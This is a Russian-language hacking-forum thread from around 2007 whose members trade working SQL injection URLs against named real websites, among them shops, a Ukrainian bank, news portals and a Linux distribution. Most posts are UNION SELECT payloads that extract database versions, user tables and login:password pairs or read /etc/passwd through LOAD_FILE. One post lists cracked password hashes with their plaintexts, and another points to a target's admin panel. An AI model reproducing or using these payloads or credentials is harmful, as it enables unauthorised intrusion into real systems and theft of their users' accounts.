SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    http://www.kafanews.com/forum/install/upgrade_301.php?step=SomeWord

    http://www.kafanews.com/?link=1&nn=-1'l
     
    2 people like this.
  2. kamaz

    kamaz Elder - Старейшина

    Joined:
    31 Jan 2007
    Messages:
    151
    Likes Received:
    275
    Reputations:
    280
    2Doom123
     
    2 people like this.
  3. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    546
    Likes Received:
    284
    Reputations:
    -56
    PostgreSQL :)
     
    1 person likes this.
  4. *D1VER

    *D1VER Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    108
    Likes Received:
    67
    Reputations:
    21
    http://www.evotools.ru/item.php?product=-145+union+select+1,2,3,user(),5,6,7,1,1,1,1/*
    http://www.constantag.ru/index.php?id=-1+union+select+1,1,11111111111111111111111111111111111111/*
    http://www.sokol-tv.ru/index.php?id=4&article=-1+union+select+1,2,3,'SHNIAGA',5,1,1,1,1,1,1,1/*
    http://t-avia.ru/index.php?m=-1+union+select+11,22,3,4,5,6,7,8,9+from+users+limit+0,1/*<---Магазин
    http://www.en.lv/index.php?m=-1+union+select+2007+from+mysql.user/*Вывод в <title>
     
    #1844 *D1VER, 12 Apr 2007
    Last edited: 12 Apr 2007
  5. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    Code:
    http://photo.dive.kz/photo.php?id=-784+union+select+1,2,3,concat(database(),0x3a,version(),0x3a,user()),5,6/*
    Code:
    http://www.women.unesco.kz/base.php?id=-5+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/*
    
    Женщины и Культура в Центральной Азии :: База
     
    #1845 KPOT_f!nd, 12 Apr 2007
    Last edited: 12 Apr 2007
    1 person likes this.
  6. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,325
    Likes Received:
    1,199
    Reputations:
    252
    Сайт нашей элиты =))) Green.ru
    Code:
    http://green.ru/news/event.htm?id=-64+union+select+1,version(),3,database(),user(),6,7/*
     
  7. Fr-Ron

    Fr-Ron Elder - Старейшина

    Joined:
    10 Sep 2006
    Messages:
    184
    Likes Received:
    72
    Reputations:
    13
    Еще есть форум, его не трогал.
    PS version 5.
     
  8. Colkru

    Colkru Elder - Старейшина

    Joined:
    13 Jan 2007
    Messages:
    100
    Likes Received:
    69
    Reputations:
    9
    PHP:
    http://green.ru/news/event.htm?id=-64+union+select+1,2,3,concat(login,char(58),password),5,6,7+from+users/*
    _____
    Я снова тут))) ачат долго не работал у меня! ЕЕЕЕ!!!
     
  9. _GaLs_

    _GaLs_ Elder - Старейшина

    Joined:
    21 Apr 2006
    Messages:
    432
    Likes Received:
    251
    Reputations:
    48
    Code:
    http://www.f1-world.ru/champ2007/testres.php3?id=-1+union+select+1,session_user(),database(),4/*
    http://www.f1-world.ru/champ2007/testres.php3?id=-1+union+select+1,concat(username,char(58),userpwd)%20%20,3,4+from+users/*
     
  10. limpompo

    limpompo Новичок

    Joined:
    27 Aug 2005
    Messages:
    1,404
    Likes Received:
    308
    Reputations:
    453
    to Fr-Ron

    Code:
    2user:009094026f11b5c7 - qwerty
    2www_log:0fbadc701079a99e - Tradition
    2prouser:201a3806609af1a7 - prouser
    2arsenal2000:02c68e0207f5fd47 - 1234567
    2ticket:48a651f618f008ff - pyfrjvcndf
    2kinoman:7973a2274ff8dec7 - kinoman
    2meliadus:052a215915223512 - sivtftsp
    2cms:052a215915223512 - sivtftsp
    2fm:09a5cf5054e96acc - ujxzhern
    
    
     
    #1850 limpompo, 12 Apr 2007
    Last edited: 12 Apr 2007
    2 people like this.
  11. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,390
    Likes Received:
    1,209
    Reputations:
    475
    может байан
    President of Georgia
     
  12. V.I.P

    V.I.P Elder - Старейшина

    Joined:
    6 Apr 2007
    Messages:
    69
    Likes Received:
    45
    Reputations:
    -6
    http://www.stumptuous.com/cms/displaysection.php?sid=-17+union+sel ect+1,2/*
    таблицы:
    CHARACTER_SETS | COLLATIONS | COLLATION_CHARACTER_SET_APPLICABILITY | COLUMNS | COLUMN_PRIVILEGES | KEY_COLUMN_USAGE | ROUTINES | SCHEMATA | SCHEMA_PRIVILEGES | STATISTICS | TABLES | TABLE_CONSTRAINTS | TABLE_PRIVILEGES | TRIGGERS | USER_PRIVILEGES | VIEWS | article | article_parts | article_section | author | entry | links | links_section | section


    чёта пасс не вытягивает(
    http://www.abcinformation.org/news_display.php?news_id=74+union+select+1,concat_ws(char(1),vers ion(),database(),user()),load_file(0x2F6574632F706173737764),4,5,6,7,8,9,10+admin/*

    http://www.scoe.org/content.php?PageId=-2+union+select+concat(user,char(1),password)+from+m ysql.user/*

    root1b3c4e7a24ec954c

    каломны не подобрал
    http://gostudy.com.ua/news.phtml?id=-37+union+select+1, 2,3,4,5,6,7,8,9+from+users/*
     
  13. l1ght

    l1ght Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    192
    Likes Received:
    675
    Reputations:
    333
    можт баян=)
     
    1 person likes this.
  14. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    799
    Likes Received:
    710
    Reputations:
    301
    Боянище!!
    http://forum.antichat.ru/showpost.php?p=317149&postcount=1393
     
  15. V.I.P

    V.I.P Elder - Старейшина

    Joined:
    6 Apr 2007
    Messages:
    69
    Likes Received:
    45
    Reputations:
    -6
    Константин сори за баян,не углядишь,за всеми.
    пасы не нашёл(.юзеров вытягивать лимитом.
    http://www.r-id.ru/main/press/news?nid=-31+union+select+1,concat_ws(char(1),name, email),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+users+limit+1,1/*
    Если найдёте,админка - http://www.r-id.ru/admin/in.php

    http://spb-foto.ru/goods/?id=3678' -3 версия(
     
  16. fYt

    fYt Elder - Старейшина

    Joined:
    11 Jan 2007
    Messages:
    54
    Likes Received:
    36
    Reputations:
    7
    http://www.bendruomenes.lt/news.php?id=232604+union+select+1,password,USER(),DATABASE(),5,VERSION(),7,8,9,10+from+users/*&strid=11792
    моя первая скуля:)
     
    1 person likes this.
  17. UniSex

    UniSex New Member

    Joined:
    12 Apr 2007
    Messages:
    0
    Likes Received:
    2
    Reputations:
    0
    http://www.rarib.ru/pages.cfm?f=law/faq&cat=-102+union+select+1,2,3,LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),5,6,7/*

    http://www.rarib.ru/pages.cfm?f=law/faq&cat=-102+union+select+1,2,3,user,5,6,7+from+user/*

    http://www.rarib.ru/pages.cfm?f=law/faq&cat=-102+union+select+1,2,3,passwd,5,6,7+from+user/*

    Рacковыряйте этот сервант :) У меня дальше не получилось.Есть приличная база на форуме. SMF =(

    Кстати - первая скуЛя :)
     
    #1857 UniSex, 12 Apr 2007
    Last edited: 12 Apr 2007
    2 people like this.
  18. big_BRAT

    big_BRAT Elder - Старейшина

    Joined:
    23 Dec 2006
    Messages:
    78
    Likes Received:
    64
    Reputations:
    7
    Copyright (c) 2002-2007 «Райффайзен Банк Аваль»
    Зроблено в Студiї Артємiя Лєбєдєва
    как я понял выдрать от туда нечего не получится, стоит ограничение на принимаемое количество значений в параметре "ИД". если кто-то сможет, не полинитесь и поделитесь.
    /пс. бабло не трогать :D /

    http://www.aval.ua/personal/metals_sale/coins/?id=3'84

    /*
    SELECT coin_id, producer_id, themes_id, series_id, views_id, coining_id, bijou_id, name_ukr name, picture, picture2, picture3, description_ukr description, price, nominal_ukr nominal, weight, diameter, thickuess, year, tirazh, is_published
    FROM
    coin
    WHERE
    coin_id = 3'84
    */
    ошибку смотрим в исходниках страницы
    ===================================
    http://www.business-ua.com/icard2.phtml?id=-1836+union+select+1,2,3,4,5,6,7,8,9,10,11,12/*
     
    2 people like this.
  19. L0rd_Ha0S

    L0rd_Ha0S Elder - Старейшина

    Joined:
    25 Jan 2006
    Messages:
    148
    Likes Received:
    102
    Reputations:
    64
    Code:
    http://vectorlinux.com/article.php?sid=-1+union+select+1,2,3,concat(user(),char(58),database(),char(58),version()),5,6,7,8/*
    Vector Linux, говорят ничё такой Live-CD :)
     
  20. XTErner

    XTErner Elder - Старейшина

    Joined:
    13 Mar 2007
    Messages:
    109
    Likes Received:
    135
    Reputations:
    40
    Code:
    http://vectorlinux.com/article.php?sid=-1+union+select+1,2,name,pass,email,6,7,8+from+users/*
     
Loading...
Thread Status:
Not open for further replies.